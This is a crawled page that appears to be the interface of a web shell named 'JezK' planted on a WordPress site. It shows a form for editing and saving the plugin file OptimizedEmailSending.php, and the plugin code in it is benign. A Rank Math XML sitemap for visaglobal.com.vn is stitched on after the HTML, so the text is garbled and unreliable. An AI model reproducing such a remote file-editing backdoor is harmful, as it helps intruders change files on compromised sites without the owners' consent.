
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: OptimizedEmailSending.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace WPMailSMTP;

/**
 * OptimizedEmailSending class.
 *
 * @since 4.0.0
 */
class OptimizedEmailSending {

	/**
	 * The slug of the option that toggles optimized email sending.
	 *
	 * @since 4.0.0
	 */
	const SETTINGS_SLUG = 'optimize_email_sending_enabled';

	/**
	 * Register hooks.
	 *
	 * @since 4.0.0
	 */
	public function hooks() {

		if ( self::is_enabled() ) {
			// Enable the queue.
			add_filter( 'wp_mail_smtp_queue_is_enabled', '__return_true' );

			// Avoid enqueueing emails if current request
			// is a cron request, a CLI request,
			// or an ActionScheduler task as 3rd party plugins might
			// be carrying out their own sending optimizations
			// through it.
			if (
				! ( defined( 'WP_CLI' ) &amp;&amp; WP_CLI ) &amp;&amp;
				! wp_doing_cron() &amp;&amp;
				! doing_action( 'action_scheduler_run_queue' )
			) {
				// Start enqueueing emails.
				add_filter( 'wp_mail_smtp_mail_catcher_send_enqueue_email', '__return_true' );
			}
		}
	}

	/**
	 * Whether optimized email sending is enabled.
	 *
	 * @since 4.0.0
	 *
	 * @return bool
	 */
	public static function is_enabled() {

		$value = Options::init()-&gt;get( 'general', self::SETTINGS_SLUG );

		return (bool) $value;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//visaglobal.com.vn/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://visaglobal.com.vn/post-sitemap1.xml</loc>
		<lastmod>2026-08-28T06:51:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/post-sitemap2.xml</loc>
		<lastmod>2026-08-27T04:35:16+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/post-sitemap3.xml</loc>
		<lastmod>2026-08-27T04:24:40+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/page-sitemap.xml</loc>
		<lastmod>2026-08-26T09:38:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/category-sitemap.xml</loc>
		<lastmod>2026-08-28T06:51:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://visaglobal.com.vn/video-sitemap.xml</loc>
		<lastmod>2026-08-26T09:38:50+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->